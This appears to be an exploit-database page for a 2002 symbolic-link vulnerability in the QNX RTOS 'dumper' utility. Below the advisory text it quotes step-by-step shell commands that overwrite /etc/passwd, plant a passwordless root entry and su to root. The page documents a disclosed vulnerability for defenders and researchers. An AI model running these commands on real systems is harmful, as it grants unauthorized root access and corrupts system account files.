header-logo
Suggest Exploit
vendor:
QNX RTOS
by:
SecurityFocus
8.3
CVSS
HIGH
Symbolic Link Following by dumper
N/A
CWE
Product Name: QNX RTOS
Affected Version From: QNX RTOS
Affected Version To: QNX RTOS
Patch Exists: No
Related CWE: N/A
CPE: o:qnx:qnx_rtos
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2002

Symbolic Link Following by dumper

The QNX RTOS debugging utility 'dumper' follows symbolic links and sets ownership of the file to the userid of the terminated process. This can be exploited by malicious local attackers to overwrite and gain ownership of arbitrary files, allowing them to elevate to root privileges by modifying files such as '/etc/passwd'.

Mitigation:

Ensure that the dumper utility is not used in a way that allows malicious users to exploit this vulnerability.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/4904/info

When creating memory dump files, the QNX RTOS debugging utility 'dumper' follows symbolic links. It also sets ownership of the file to the userid of the terminated process. It is possible for malicious local attackers to exploit this vulnerability to overwrite and gain ownership of arbitrary files. Consequently, attackers may elevate to root privileges by modifying files such as '/etc/passwd'. 

Example exploit, with /bin/dumper:

Let EVIL be the unprivileged user who wants to gain root access.

#link to the passwd file: dumper dumps to [process name].dmp
$ ln /etc/passwd /home/EVIL/ksh.dmp
#call the program that will attempt to write to the hard link
$ dumper -d /home/EVIL -p [PID of EVIL's ksh]
#have dumper do its job by terminating the monitored process
$ exit
#at this point, /etc/passwd is overwritten by the binary dump, and more
importantly: EVIL is now the owner !
$ echo root::0:0::///:/bin/sh > /etc/passwd
#but now no login works because /etc/passwd is not owned by userid 0. #So
you do:

$ passwd

#and change your password. This gives /etc/passwd ownership back to root,
keeping the modifications you have made.

$ su
#